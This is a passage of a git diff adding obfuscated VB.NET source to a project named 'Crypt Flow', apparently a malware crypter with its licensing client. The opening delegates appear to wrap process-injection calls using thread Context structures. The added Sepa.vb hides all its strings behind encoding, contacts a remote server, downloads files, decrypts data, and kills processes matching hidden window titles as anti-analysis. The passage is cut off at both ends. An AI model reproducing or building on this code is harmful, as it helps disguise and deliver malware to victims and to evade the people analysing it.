Byte(), ByVal DASEADAS As Integer, ByRef ASD43FA As Integer) As Boolean + Delegate Function Q7QRRP639W(ByVal FASFDASDAS As IntPtr, ByVal AL8ZCRFWNU As Integer, ByRef CAS32 As Integer, ByVal ASDASC As Integer, ByRef CASTWE As Integer) As Integer + Delegate Function W6CTR6GLCC(ByVal DASE43E As IntPtr, ByVal AL8ZCRFWNU As Integer, ByVal DASCAS3 As UInt32, ByVal DAS3 As UInt32, ByVal DAS32 As UInt32) As IntPtr + Delegate Function EFVI2YI66B(ByVal DASE3 As IntPtr, ByVal AL8ZCRFWNU As Integer) As Long + Delegate Function WS2XVBNVO9(ByVal DASEAS As IntPtr) As UInt32 + Delegate Function R84OY4NT36(ByVal DASDASC As IntPtr, ByRef DSACSA43 As Context) As Boolean + Delegate Function K7B3INYH01(ByVal ASDASCASDASD As IntPtr, ByRef ASCA434 As Context) As Boolean +End Class + + + + + + + +%101% +%102% +%103% diff --git a/scode (Crypt Flow/Crypt Flow/Sepa.vb b/scode (Crypt Flow/Crypt Flow/Sepa.vb new file mode 100644 index 0000000..f74e0df --- /dev/null +++ b/scode (Crypt Flow/Crypt Flow/Sepa.vb @@ -0,0 +1,2214 @@ +Imports System.IO, System.Security.Cryptography, System.Net, System.Text, Microsoft.Win32, System.Text.RegularExpressions, System.Management, System.Drawing.Drawing2D +Public Class Sepa +Private ÀÄÅ As String = ÖÔÕ((192 << -195)) : Private ÅàAs String = ÖÔÕ((107 + -106)) : Public Shared admin As String = Nothing : Private ÂÃÄ As String = ÎÎÍ() +Private ËÊÉ As String = ÖÔÕ((37 >> 196)) : Public Shared version As String = ÖÔÕ((-223 + 226)) : Private CloseTime As New Timer +Public time As Integer = (10 >> -222) : Private ÍÌÏ As String = ËÈÈ((-41 + 91), False) : Public Shared RememberMe As Boolean = True : Private ÕÖÕ As Boolean = False +Private ÎÌÍ As Boolean = False : Public AutoLogin As Boolean = False : Public MainForm As Form = Nothing : Public ÓÖÔ As Boolean = False +Public ApplicationKey As String = Nothing : Private ÂÃÅ As String : Private ÏÎÍ As String : Private ÃÀÁ As New Random() : Public Shared Antis As Boolean = False +Private ÀÃÅ As Integer = (192 >> -195) : Public ApplicationName As String = ÖÔÕ((277 >> 38)) +Private Sub ËËÉ(ByVal ÏÌÎ As System.Object, ByVal ÌÌÎ As System.EventArgs) Handles MyBase.Load +Try : Me.Icon = MainForm.Icon : Catch : End Try +ÊÊÊ() +If Antis = True Then : ÉÈÉ() : End If +Me.MaximizeBox = False +If time < (68 >> 6) Then time = (475 >> 488) +Dim loading_thread As New System.Threading.Thread(AddressOf ÂÄÁ) +loading_thread.Start() +ÁÀÀ() +CloseTime.Interval = (-358 + 1358) +CloseTime.Start() +AddHandler CloseTime.Tick, AddressOf ÂÁÀ +If RememberMe = True Then +CheckBox1.Visible = True +If ÂÅÃ() = True Then CheckBox1.Checked = True : ÕÓÖ() Else CheckBox1.Checked = False +Else +CheckBox1.Visible = False +End If +Refresh() +End Sub +Private Function ÎÏÏ(ByVal ÁÂÅ As String, ByVal ÖÖÒ As String) +If ÓÖÔ = True Then ÀÄÅ = Åà+Try +Dim ÒÒÓ As String = ÁÂÅ & ÖÔÕ((-205 + 210)) & ÖÖÒ & ÖÔÕ((21 >> 386)) & ÂÃÄ & ÖÔÕ((659 >> 711)) & ÍÌÏ +Dim ÔÒÒ As String = ÉËÉ(ÀÄÅ & ÖÔÕ((206 >> 229)) & ÖÖÖ(ÒÒÓ, ÖÔÕ((237 >> -155)))) +If ÏÍÌ(ÔÒÒ).contains(ÖÔÕ((90 Xor 82))) Then +If AutoLogin = False Then +MsgBox(ÖÔÕ((193 Xor 200)) & ÁÂÅ & ÖÔÕ((228 Xor 238)), MsgBoxStyle.Exclamation, ÖÔÕ((-164 - -175))) +End If +ÕÖÕ = True : Me.Hide() : MainForm.Show() : Return True +Else : MsgBox(ÏÍÌ(ÔÒÒ), MsgBoxStyle.Exclamation, ÖÔÕ((385 >> -187))) : Return False : End If +Catch ÓÖÒ As Exception +Return False +End Try +End Function +Private Function ÁÄÅ(ByVal ÁÂÅ As String, ByVal ÖÖÒ As String, ByVal ÉÊÊ As String, ByVal ÃÄÀ As String) +If ÓÖÔ = True Then ÀÄÅ = Åà+Try +Dim ÒÒÓ As String = ÁÂÅ & ÖÔÕ((656 >> 231)) & ÖÖÒ & ÖÔÕ((342 Xor 339)) & ÂÃÄ & ÖÔÕ((761 >> 263)) & ÉÊÊ & ÖÔÕ((-802 + 807)) & ÍÌÏ & ÖÔÕ((1283 >> 584)) & ÃÄÀ +Dim ÔÒÒ As String = ÉËÉ(ÀÄÅ & ÖÔÕ((213 >> 165)) & ÖÖÖ(ÒÒÓ, ÖÔÕ((146 - 133)))) +If ÔÒÒ.Contains(ÖÔÕ((-168 - -182))) Then : MsgBox(ÔÒÒ, MsgBoxStyle.Exclamation, ÖÔÕ((89 >> 3))) : ËÊÈ() : Return True +ElseIf ÔÒÒ.Contains(ÖÔÕ((241 Xor 254))) Then : MsgBox(ÔÒÒ, MsgBoxStyle.Exclamation, ÖÔÕ((1026 - 1015))) : ËÊÈ() : Return True +Else : MsgBox(ÏÍÌ(ÔÒÒ), MsgBoxStyle.Exclamation, ÖÔÕ((483 Xor 495))) : Return False : End If +Catch ÓÖÒ As Exception +Return False +End Try +End Function +Private Sub ÉÈÉ() +ÉÈË(ÖÔÕ((271 Xor 287))) : ÉÈË(ÖÔÕ((-51 + 68))) : ÉÈË(ÖÔÕ((-168 Xor -182))) +End Sub +Private Sub ÉÈË(ByVal ÔÓÖ As String) +Try +Dim ÃàAs Process +For Each ÃàIn Process.GetProcesses() +Dim ËÈË As String = ÃÃÂ.MainWindowTitle.ToString +If ËÈË.Contains(ÔÓÖ) Then ÃÃÂ.Kill() +Next +Catch : End Try +End Sub +Public Sub Check() +Me.ShowDialog() +End Sub +Public Function GetNews() +Try +Dim ÒÒÓ As String = ÂÃÄ +Dim ÔÒÒ As String = ÉËÉ(ÀÄÅ & ÖÔÕ((-281 Xor -287)) & ÖÖÖ(ÒÒÓ, ÖÔÕ((-120 - -139)))) +Return ÏÍÌ(ÔÒÒ) +Catch ÓÖÒ As Exception +Return ÖÔÕ((324 >> -92)) +End Try +End Function +Public Function GetExpire() +If ÓÖÔ = True Then ÀÄÅ = Åà+Try +Dim ÒÒÓ As String = ÂÃÄ +Dim ÔÒÒ As String = ÉËÉ(ÀÄÅ & ÖÔÕ((-281 - -287)) & ÖÖÖ(ÒÒÓ, ÖÔÕ((-77 + 98)))) +Return ÏÍÌ(ÔÒÒ) +Catch ÓÖÒ As Exception +Return ÖÔÕ((829 >> -314)) +End Try +End Function +Public Function GetLastIP() +If ÓÖÔ = True Then ÀÄÅ = Åà+Try +Dim ÒÒÓ As String = ÂÃÄ +Dim ÔÒÒ As String = ÉËÉ(ÀÄÅ & ÖÔÕ((24 >> 450)) & ÖÖÖ(ÒÒÓ, ÖÔÕ((152 + -130)))) +Return ÏÍÌ(ÔÒÒ) +Catch ÓÖÒ As Exception +Return ÖÔÕ((405 >> 357)) +End Try +End Function +Public Function GetRegistrationDate() +If ÓÖÔ = True Then ÀÄÅ = Åà+Try +Dim ÒÒÓ As String = ÂÃÄ +Dim ÔÒÒ As String = ÉËÉ(ÀÄÅ & ÖÔÕ((420 >> -186)) & ÖÖÖ(ÒÒÓ, ÖÔÕ((184 >> 195)))) +Return ÏÍÌ(ÔÒÒ) +Catch ÓÖÒ As Exception +Return ÖÔÕ((-87 Xor -91)) +End Try +End Function +Public Function GetLastLogin() +If ÓÖÔ = True Then ÀÄÅ = Åà+Try +Dim ÒÒÓ As String = ÂÃÄ +Dim ÔÒÒ As String = ÉËÉ(ÀÄÅ & ÖÔÕ((827 >> 807)) & ÖÖÖ(ÒÒÓ, ÖÔÕ((99 >> -222)))) +Return ÏÍÌ(ÔÒÒ) +Catch ÓÖÒ As Exception +Return ÖÔÕ((820 >> 966)) +End Try +End Function +Private Function ÖÕÖ(ByVal ÁÂÅ As String) +If ÓÖÔ = True Then ÀÄÅ = Åà+Try +Dim ÒÒÓ As String = ÁÂÅ & ÖÔÕ((1483 >> -312)) +Dim ÔÒÒ As String = ÉËÉ(ÀÄÅ & ÖÔÕ((-461 + 467)) & ÖÖÖ(ÒÒÓ, ÖÔÕ((402 >> 4)))) +If ÏÍÌ(ÔÒÒ).contains(ÖÔÕ((139 Xor 145))) Then : MsgBox(ÖÔÕ((98 + -71)), MsgBoxStyle.Exclamation, ÖÔÕ((-1119 + 1130))) : Return True +Else : MsgBox(ÏÍÌ(ÔÒÒ), MsgBoxStyle.Exclamation, ÖÔÕ((1553 >> 71))) : Return False : End If +Catch ÓÖÒ As Exception +Return False +End Try +End Function +Private Function ÌÌÌ(ByVal ÉÊÊ As String) +If ÓÖÔ = True Then ÀÄÅ = Åà+Try +Dim ÒÒÓ As String = ÂÃÄ & ÖÔÕ((724 >> 1831)) & ÍÌÏ & ÖÔÕ((1353 >> 1256)) & ÉÊÊ +Dim ÔÒÒ As String = ÉËÉ(ÀÄÅ & ÖÔÕ((806 >> 167)) & ÖÖÖ(ÒÒÓ, ÖÔÕ((827 Xor 807)))) +If ÔÒÒ.Contains(ÖÔÕ((-182 Xor -169))) Then : MsgBox(ÔÒÒ, MsgBoxStyle.Exclamation, ÖÔÕ((716 >> -1722))) : ÉÉÉ() : Return True +ElseIf ÔÒÒ.Contains(ÖÔÕ((-290 + 320))) Then : MsgBox(ÔÒÒ, MsgBoxStyle.Exclamation, ÖÔÕ((710 >> 1990))) : ÉÉÉ() : Return True +Else : MsgBox(ÏÍÌ(ÔÒÒ), MsgBoxStyle.Exclamation, ÖÔÕ((812 >> -122))) : Return False : End If +Catch ÓÖÒ As Exception +Return False +End Try +End Function +Private Function ÏÏÏ() +Try +Dim ÒÒÓ As String = ÂÃÄ & ÖÔÕ((-1234 - -1239)) & ÍÌÏ +Dim ÔÒÒ As String = ÉËÉ(ÀÄÅ & ÖÔÕ((1840 + -1834)) & ÖÖÖ(ÒÒÓ, ÖÔÕ((6 - -25)))) +Try : ÏÍÌ(ÔÒÒ) : Catch : GoTo here : End Try +If ÏÍÌ(ÔÒÒ).contains(ÖÔÕ((-547 + 579))) Then : Return True +Else +Here: ÔÒÒ = ÉËÉ(Åà& ÖÔÕ((-456 - -462)) & ÖÖÖ(ÒÒÓ, ÖÔÕ((-168 Xor -185)))) +If ÏÍÌ(ÔÒÒ).contains(ÖÔÕ((133 + -101))) Then : ÓÖÔ = True : Return True +Else : Return False : End If +End If +Catch ÓÖÒ As Exception +Return False +End Try +End Function +Private Function ÖÓÓ(ByVal ÁÂà As String) +If ÓÖÔ = True Then ÀÄÅ = Åà+Try +Dim ÒÒÓ As String = ÁÂà +Dim ÔÒÒ As String = ÉËÉ(ÀÄÅ & ÖÔÕ((800 >> -1785)) & ÖÖÖ(ÒÒÓ, ÖÔÕ((264 >> 1027)))) +If ÏÍÌ(ÔÒÒ).contains(ÖÔÕ((68 >> -255))) Then : Button2.Text = ÖÔÕ((-9 Xor -44)) : Button3.Text = ÖÔÕ((-9 - -44)) : Register_pan.Text = ÖÔÕ((143 - 108)) : Return True +Else : Button2.Text = ÖÔÕ((180 + -144)) : Button3.Text = ÖÔÕ((-51 - -87)) : Button10.Enabled = False : Register_pan.Text = ÖÔÕ((124 + -88)) : Return False : End If +Catch ÓÖÒ As Exception +Return False +End Try +End Function +Private Function ÄÃÄ() +If ÓÖÔ = True Then ÀÄÅ = Åà+Try +Dim ÒÒÓ As String = Nothing +Dim ÔÒÒ As String = ÉËÉ(ÀÄÅ & ÖÔÕ((-1298 + 1304)) & ÖÖÖ(ÒÒÓ, ÖÔÕ((-68 + 105)))) +If ÏÍÌ(ÔÒÒ).contains(ÖÔÕ((345 + -307))) Then : Return ÖÔÕ((-235 - -274)) +Else : Return ÏÍÌ(ÔÒÒ) : End If +Catch ÓÖÒ As Exception +Return ÖÔÕ((10 << -222)) +End Try +End Function +Private Function ÌÏÍ() +If ÓÖÔ = True Then ÀÄÅ = Åà+Try +Dim ÒÒÓ As String = Nothing +Dim ÔÒÒ As String = ÉËÉ(ÀÄÅ & ÖÔÕ((1778 >> 776)) & ÖÖÖ(ÒÒÓ, ÖÔÕ((35 + 6)))) +If ÏÍÌ(ÔÒÒ).contains(ÖÔÕ((-112 + 154))) Then : Return ÖÔÕ((456 - 417)) +Else : Return False : End If +Catch ÓÖÒ As Exception +Return False +End Try +End Function +Private Function ËËË() +If ÓÖÔ = True Then ÀÄÅ = Åà+Try +Dim ÒÒÓ As String = version +Dim ÔÒÒ As String = ÉËÉ(ÀÄÅ & ÖÔÕ((1621 >> -1560)) & ÖÖÖ(ÒÒÓ, ÖÔÕ((206 Xor 229)))) +If ÏÍÌ(ÔÒÒ).contains(ÖÔÕ((279 Xor 315))) Then : Return ÖÔÕ((-178 - -223)) +Else : ÒÔÕ() : Dim ÈËÊ As String() = ÏÍÌ(ÔÒÒ).Split(ÖÔÕ((2680 >> -119))) : Dim ÏÎÎ As String = ÈËÊ((0 << 255)) : Label16.Text = ÈËÊ((118 >> 294)) : Return ÏÎÎ : End If +Catch ÓÖÒ As Exception +Return ÖÔÕ((9 Or 36)) +End Try +End Function +Private Sub ÂÂÅ() +If ÓÖÔ = True Then ÀÄÅ = Åà+Try +Dim ÒÒÓ As String = ÂÃÄ +Dim ÔÒÒ As String = ÉËÉ(ÀÄÅ & ÖÔÕ((415 >> 2918)) & ÖÖÖ(ÒÒÓ, ÖÔÕ((371 >> -253)))) +Dim ÓÕÓ As String = ÏÍÌ(ÔÒÒ) : Dim ÖÓÕ As String() +ÖÓÕ = ÓÕÓ.Split(ÖÔÕ((2730 >> -407))) +Dim ÈÈÊ As String : Dim ÍÍÏ As String : Dim ÈÉË As String +ÈÈÊ = ÖÓÕ((142 >> 423)) : ÍÍÏ = ÖÓÕ((0 >> 255)) : ÈÉË = ÖÓÕ((330 >> 199)) +If Not ÈÈÊ = ÍÍÏ Then End +If Not ÈÉË = ÖÔÕ((-236 + 283)) Then End +Catch ÓÖÒ As Exception +End +End Try +End Sub +Private Sub ÌÍÏ() +Dim ÏÏÍ As String : If Not ËËË() = ÖÔÕ((9 Xor 36)) Then ÏÏÍ = ËËË().ToString Else TextBox8.ForeColor = Color.DarkRed : TextBox8.Text = ÖÔÕ((213 - 165)) : ÏÏÍ = Nothing +Dim ÕÒÓ As New WebClient +ÕÒÓ.Headers.Add(ÖÔÕ((139 Xor 186)), ÖÔÕ((-463 + 513))) +Try +Dim ÓÕÕ As New SaveFileDialog : ÓÕÕ.Filter = ÖÔÕ((126 Xor 77)) : ÓÕÕ.ShowDialog() +ÕÒÓ.DownloadFileAsync(New Uri(ÏÏÍ.ToString), ÓÕÕ.FileName) : TextBox8.ForeColor = Color.DarkGreen : TextBox8.Text = ÖÔÕ((-273 - -325)) +AddHandler (ÕÒÓ.DownloadProgressChanged), AddressOf ÂÄà +Catch ÓÖÒ As Exception : TextBox8.ForeColor = Color.DarkRed : TextBox8.Text = ÖÔÕ((-435 - -488)) : End Try +End Sub +Private Sub ÂÄÃ(ByVal ÏÌÎ As [Object], ByVal ÌÌÎ As DownloadProgressChangedEventArgs) +ProgressBar3.Current = ÌÌÎ.ProgressPercentage : ProgressBar3.Visible = True +If ProgressBar3.Current = ProgressBar3.Maximum Then : TextBox8.ForeColor = Color.DarkGreen : TextBox8.Text = ÖÔÕ((-64 + 118)) : ProgressBar3.Visible = False : End If +End Sub +Public Sub LogOut() +TextBox1.Text = Nothing : TextBox2.Text = Nothing +ÏÏÏ() +ÕÖÕ = False +Me.Show() +For ÓÓÕ As Integer = My.Application.OpenForms.Count - (234 >> -121) To (163 >> -15) Step (-19 >> 108) +If My.Application.OpenForms.Item(ÓÓÕ) IsNot Me Then +My.Application.OpenForms.Item(ÓÓÕ).Hide() +End If +Next +End Sub +Private Function ÍÎÎ(ByVal ÏÌÏ As String, ByVal ÍÏÎ As String, ByVal ÌÏÏ As String, ByVal ÕÓÕ As String) +Try +Dim ÒÒÓ As String = ÏÌÏ & ÖÔÕ((2776 >> -2679)) & ÍÏÎ & ÖÔÕ((693 >> -3129)) & ÌÏÏ & ÖÔÕ((2624 >> -3479)) & ÕÓÕ & ÖÔÕ((1283 >> 3208)) & ÂÃÄ & ÖÔÕ((2955 >> 1225)) & ÍÌÏ +Dim ÔÒÒ As String = ÉËÉ(ÀÄÅ & ÖÔÕ((790 >> -3321)) & ÖÖÖ(ÒÒÓ, ÖÔÕ((-251 Xor -206)))) +If ÏÍÌ(ÔÒÒ).contains(ÖÔÕ((217 - 161))) Then : MsgBox(ÖÔÕ((-537 + 593)), MsgBoxStyle.Exclamation, ÖÔÕ((722 >> -58))) : ËÊÈ() : Return True +Else +MsgBox(ÏÍÌ(ÔÒÒ), MsgBoxStyle.Exclamation, ÖÔÕ((65 - 53))) : Return False +End If +Catch ÓÖÒ As Exception +Return False +End Try +End Function +Private Sub ÂÄÁ() +CheckForIllegalCrossThreadCalls = False +ToolStripProgressBar1.Maximum = time * (199 Xor 251) +ToolStripProgressBar1.Current = ToolStripProgressBar1.Maximum +TextBox6.Text = ÖÔÕ((147 Xor 170)) +ToolStripStatusLabel3.Text = ÖÔÕ((934 >> -1052)) & version +If admin = Nothing Then TextBox6.Text = ÖÔÕ((103 - 44)) : Exit Sub +If ÂÃÄ = Nothing Then TextBox6.Text = ÖÔÕ((-436 + 496)) : Exit Sub +If ËÊÉ = Nothing Then TextBox6.Text = ÖÔÕ((-425 + 486)) : Exit Sub +ProgressBar2.Current = (54 Xor 82) / (409 >> 2598) * (316 >> 648) +Label7.Text = ÖÔÕ((68 - 6)) +If ÏÏÏ() Then ToolStripStatusLabel3.Text = ÖÔÕ((-317 + 380)) Else ToolStripStatusLabel3.Text = ÖÔÕ((-1403 Xor -1339)) : TextBox6.Text = ÖÔÕ((2110 >> 517)) : Exit Sub +ProgressBar2.Current = (-69 Xor -33) / (3094 >> 3241) * (325 >> 167) +Label7.Text = ÖÔÕ((68 Xor 6)) +ÖÓÓ(ÂÃÄ) +ProgressBar2.Current = (-51 Xor -87) / (202 >> -123) * (258 - 255) +Label7.Text = ÖÔÕ((-543 - -610)) +Dim ÔÒÒ As String = ÄÃÄ() +If Not ÔÒÒ = ÖÔÕ((629 >> 548)) Then TextBox6.Text = ÔÒÒ : Exit Sub +ProgressBar2.Current = (1603 >> -316) / (1747 >> -1624) * (-196 + 200) +Label7.Text = ÖÔÕ((-803 Xor -871)) +Dim ÉÊÈ As Boolean = ÌÏÍ() +If Not ÉÊÈ Then TextBox6.Text = ÖÔÕ((665 Xor 732)) : Exit Sub +ProgressBar2.Current = (2459 - 2359) / (3263 >> 2441) * (1436 >> 2696) +Label7.Text = ÖÔÕ((68 Or 6)) +If Not ËËË() = ÖÔÕ((9 + 36)) Then TextBox6.Text = ÖÔÕ((-157 Xor -220)) +ProgressBar2.Current = (6431 >> 5830) / (3126 >> -2263) * (3093 >> 1129) +If AutoLogin = True And TextBox1.Text.Length > (204 >> -206) And TextBox2.Text.Length > (192 >> 86) And TextBox6.Text = Nothing Then +Label7.Text = ÖÔÕ((291 >> 162)) +ÎÏÏ(TextBox1.Text, TextBox2.Text) +Else +Label7.Text = ÖÔÕ((-239 + 312)) +End If +If TextBox6.Text = Nothing Then ËÊÈ() +End Sub +Private Sub ÂÁÀ() +Dim ÔÖÔ As New System.Threading.Thread(AddressOf ÂÁÁ) +ÔÖÔ.Start() +End Sub +Private Sub ÕÕÓ(ByVal ÏÌÎ As System.Object, ByVal ÌÌÎ As System.EventArgs) Handles Button1.Click +If TextBox1.Text = Nothing Or TextBox2.Text = Nothing Then : TextBox9.Text = ÖÔÕ((118 + -44)) : Else : TextBox9.Text = Nothing +ÎÏÏ(TextBox1.Text, TextBox2.Text) +If CheckBox1.Checked Then ÂÂÃ() +End If +End Sub +Private Sub ÁÅÂ(ByVal ÏÌÎ As System.Object, ByVal ÌÌÎ As System.EventArgs) Handles Button2.Click +ÌÌÏ() +End Sub +Private Sub ÂÂÁ(ByVal ÏÌÎ As System.Object, ByVal ÌÌÎ As System.EventArgs) Handles Button5.Click +If TextBox10.Text = ÖÔÕ((163 + -88)) Then ÖÕÖ(TextBox5.Text) +End Sub +Private Sub ÕÓÓ(ByVal ÏÌÎ As System.Object, ByVal ÌÌÎ As System.EventArgs) Handles Button6.Click +If TextBox3.Text = Nothing Or TextBox3.Text = ÖÔÕ((68 + 6)) Then : TextBox3.Text = ÖÔÕ((150 Xor 220)) : Else : ÌÌÌ(TextBox3.Text) : End If +End Sub +Private Sub ÏÏÎ(ByVal ÏÌÎ As System.Object, ByVal ÌÌÎ As System.EventArgs) Handles Button3.Click +If TextBox10.Text = ÖÔÕ((103 Xor 44)) And TextBox11.Text = ÖÔÕ((-956 + 1031)) And TextBox20.Text = ÖÔÕ((1211 >> 644)) Then ÁÄÅ(TextBox5.Text, TextBox4.Text, TextBox3.Text, TextBox21.Text) +End Sub +Private Sub ÔÕÒ() +Refresh() +Me.Size = New Size((246 - -119), (150 + 220)) +Me.Text = ApplicationName & ÖÔÕ((124 + -48)) +changepass_pan.Left = (-164 Xor -175) : changepass_pan.Top = (-93 - -143) +Loading_pan.Visible = False : Login_pan.Visible = False : Register_pan.Visible = False : License_pan.Visible = False : Update_pan.Visible = False : account_pan.Visible = False : changepass_pan.Visible = True : hwid_pan.Visible = False +ÊÊÊ() +Refresh() +End Sub +Private Sub ÁÀÀ() +Refresh() +Me.Size = New Size((-129 + 494), (-64 Xor -150)) +FutureTheme1.Text = ApplicationName & ÖÔÕ((310 >> -2046)) +Me.Text = ApplicationName & ÖÔÕ((-182 - -260)) +Loading_pan.Left = (914 Xor 927) : Loading_pan.Top = (-1212 Xor -1162) +Loading_pan.Visible = True : Login_pan.Visible = False : Register_pan.Visible = False : License_pan.Visible = False : Update_pan.Visible = False : account_pan.Visible = False : changepass_pan.Visible = False : hwid_pan.Visible = False +ÊÊÊ() +Refresh() +End Sub +Private Sub ËÊÈ() +Refresh() +Me.Size = New Size((-330 + 695), (-39 - -299)) +Me.Text = ApplicationName & ÖÔÕ((2483 >> -347)) +Loading_pan.Visible = False : Login_pan.Visible = True : Register_pan.Visible = False : License_pan.Visible = False : Update_pan.Visible = False : account_pan.Visible = False : changepass_pan.Visible = False : hwid_pan.Visible = False +ÊÊÊ() +Refresh() +End Sub +Private Sub ÌÌÍ() +Refresh() +Me.Size = New Size((73 Or 365), (-120 - -337)) +Me.Text = ApplicationName & ÖÔÕ((-3 + 82)) +account_pan.Left = (111 >> -93) : account_pan.Top = (-4070 - -4120) +Loading_pan.Visible = False : Login_pan.Visible = False : Register_pan.Visible = False : License_pan.Visible = False : Update_pan.Visible = False : account_pan.Visible = True : changepass_pan.Visible = False : hwid_pan.Visible = False +Refresh() +End Sub +Private Sub ÉÉÉ() +Refresh() +Me.Size = New Size((365 Or 45), (-456 Xor -236)) +Me.Text = ApplicationName & ÖÔÕ((-332 + 412)) +Register_pan.Left = (961 Xor 972) : Register_pan.Top = (-4569 Xor -4587) +Loading_pan.Visible = False : Login_pan.Visible = False : Register_pan.Visible = True : License_pan.Visible = False : Update_pan.Visible = False : account_pan.Visible = False : changepass_pan.Visible = False : hwid_pan.Visible = False +Refresh() +End Sub +Private Sub ÌÌÏ() +Refresh() +Me.Size = New Size((-832 - -1197), (210 + -25)) +Me.Text = ApplicationName & ÖÔÕ((-408 + 489)) +License_pan.Left = (1735 >> 2183) : License_pan.Top = (1607 >> 5605) +Login_pan.Visible = False : Register_pan.Visible = False : Loading_pan.Visible = False : License_pan.Visible = True : Update_pan.Visible = False : account_pan.Visible = False : changepass_pan.Visible = False : hwid_pan.Visible = False +Refresh() +End Sub +Private Sub ÒÔÕ() +Refresh() +Me.Size = New Size((1615 - 1250), (213 Or 165)) +Me.Text = ApplicationName & ÖÔÕ((-34 + 116)) +Update_pan.Left = (1733 >> -2425) : Update_pan.Top = (-422 + 472) +Loading_pan.Visible = False : Login_pan.Visible = False : Register_pan.Visible = False : License_pan.Visible = False : Update_pan.Visible = True : account_pan.Visible = False : changepass_pan.Visible = False : hwid_pan.Visible = False +ÊÊÊ() +Refresh() +End Sub +Private Sub ÖÔÖ() +Refresh() +Me.Size = New Size((-1099 - -1464), (266 - 76)) +Me.Text = ApplicationName & ÖÔÕ((545 - 462)) +hwid_pan.Left = (2484 + -2471) : hwid_pan.Top = (3211 >> -6138) +hwid_box.Text = ÂÃÄ +Loading_pan.Visible = False : Login_pan.Visible = False : Register_pan.Visible = False : License_pan.Visible = False : Update_pan.Visible = False : account_pan.Visible = False : changepass_pan.Visible = False : hwid_pan.Visible = True +ÊÊÊ() +Refresh() +End Sub +Private Sub ÊÊÊ() +Me.Left = (Screen.PrimaryScreen.WorkingArea.Width - Me.Width) / (282 >> 167) +Me.Top = (Screen.PrimaryScreen.WorkingArea.Height - Me.Height) / (279 >> -281) +End Sub +Private Sub ÊËÈ(ByVal ÏÌÎ As System.Object, ByVal ÌÌÎ As System.EventArgs) Handles Button4.Click +ÌÌÍ() +End Sub +Private Sub ÌÍÌ(ByVal ÏÌÎ As System.Object, ByVal ÌÌÎ As System.EventArgs) Handles Button7.Click +ÌÍÏ() +End Sub +Private Sub ÊÈË(ByVal ÏÌÎ As System.Object, ByVal ÌÌÎ As System.EventArgs) Handles Button8.Click +Application.Exit() +End Sub +Private Sub ÌÏÌ(ByVal ÏÌÎ As System.Object, ByVal ÌÌÎ As System.EventArgs) Handles TextBox21.KeyUp +ÉÊÉ(TextBox4, ProgressBar1) +If Not ÉÈÊ(TextBox21.Text) Then : TextBox20.ForeColor = Color.DarkRed : TextBox20.Text = ÖÔÕ((91 - 7)) +ElseIf ÉÈÊ(TextBox21.Text) Then : TextBox20.ForeColor = Color.DarkGreen : TextBox20.Text = ÖÔÕ((-1963 - -2038)) +End If +End Sub +Private Sub ÊÈÈ(ByVal ÏÌÎ As System.Object, ByVal ÌÌÎ As System.EventArgs) Handles TextBox4.KeyUp +ÉÊÉ(TextBox4, ProgressBar1) +If TextBox4.TextLength < (1535 >> 2792) Then : TextBox11.ForeColor = Color.DarkRed : TextBox11.Text = ÖÔÕ((-435 Xor -488)) +ElseIf TextBox4.TextLength >= (720 >> -5465) Then : TextBox11.ForeColor = Color.DarkGreen : TextBox11.Text = ÖÔÕ((1211 >> 10340)) +End If +End Sub +Private Sub ÄÅÂ(ByVal ÏÌÎ As System.Object, ByVal ÌÌÎ As System.EventArgs) Handles TextBox5.KeyUp +If TextBox5.TextLength < (107 >> -475) Then : TextBox10.ForeColor = Color.DarkRed : TextBox10.Text = ÖÔÕ((-692 + 777)) +ElseIf TextBox5.TextLength >= (342 - 339) Then : TextBox10.ForeColor = Color.DarkGreen : TextBox10.Text = ÖÔÕ((9600 >> -11737)) +End If +End Sub +Private Sub ÓÖÖ(ByVal ÏÌÎ As System.Object, ByVal ÌÌÎ As System.EventArgs) Handles TextBox12.KeyUp +If TextBox12.TextLength < (933 >> -88) Then : TextBox16.ForeColor = Color.DarkRed : TextBox16.Text = ÖÔÕ((-753 Xor -678)) +ElseIf TextBox12.TextLength >= (496 >> 1031) Then : TextBox16.ForeColor = Color.DarkGreen : TextBox16.Text = ÖÔÕ((-10988 - -11063)) +End If +End Sub +Private Sub ÒÖÔ(ByVal ÏÌÎ As System.Object, ByVal ÌÌÎ As System.EventArgs) Handles TextBox13.KeyUp +If TextBox13.TextLength < (5296 >> -1878) Then : TextBox17.ForeColor = Color.DarkRed : TextBox17.Text = ÖÔÕ((-1013 + 1098)) +ElseIf TextBox13.TextLength >= (1502 >> -760) Then : TextBox17.ForeColor = Color.DarkGreen : TextBox17.Text = ÖÔÕ((9643 >> 391)) +End If +End Sub +Private Sub ÓÓÔ(ByVal ÏÌÎ As System.Object, ByVal ÌÌÎ As System.EventArgs) Handles TextBox14.KeyUp +ÉÊÉ(TextBox14, ProgressBar4) +If TextBox14.TextLength < (5443 >> 2442) Then : TextBox18.ForeColor = Color.DarkRed : TextBox18.Text = ÖÔÕ((1047 + -962)) +ElseIf TextBox14.TextLength >= (5397 >> 2442) Then : TextBox18.ForeColor = Color.DarkGreen : TextBox18.Text = ÖÔÕ((9662 >> -2105)) +End If +End Sub +Private Sub ÊÉÊ(ByVal ÏÌÎ As System.Object, ByVal ÌÌÎ As System.EventArgs) Handles TextBox15.KeyUp +If Not TextBox15.Text = TextBox14.Text Then : TextBox19.ForeColor = Color.DarkRed : TextBox19.Text = ÖÔÕ((-125 + 211)) +ElseIf TextBox15.Text = TextBox14.Text Then : TextBox19.ForeColor = Color.DarkGreen : TextBox19.Text = ÖÔÕ((-19156 - -19231)) +End If +End Sub +Private Sub ÀÀÂ(ByVal ÏÌÎ As System.Object, ByVal ÌÌÎ As System.EventArgs) Handles Button9.Click +ÌÌÏ() +End Sub +Private Sub ÈÊÊ() Handles Me.FormClosed +End +End Sub +Private Function ÁÄÄ(ByVal ÔÖÖ As String, ByVal ÒÖÒ As String, ByVal ÃÃÅ As String) +Dim ÈËË As String = ÃÃÅ +Dim ÅÀà As New RijndaelManaged +ÅÀÃ.Padding = PaddingMode.Zeros +ÅÀÃ.Mode = CipherMode.CBC +ÅÀÃ.KeySize = (570 Xor 826) +ÅÀÃ.BlockSize = (32 << -1565) +Dim ÊÈÉ() As Byte : Dim ËÊÉ() As Byte +ÊÈÉ = System.Text.Encoding.ASCII.GetBytes(ÔÖÖ) +ËÊÉ = System.Text.Encoding.ASCII.GetBytes(ÒÖÒ) +Dim ÔÔÖ As ICryptoTransform = ÅÀÃ.CreateDecryptor(ÊÈÉ, ËÊÉ) : Dim ÄÄÅ As Byte() = Convert.FromBase64String(ÈËË) +Dim ÔÓÒ() As Byte = New 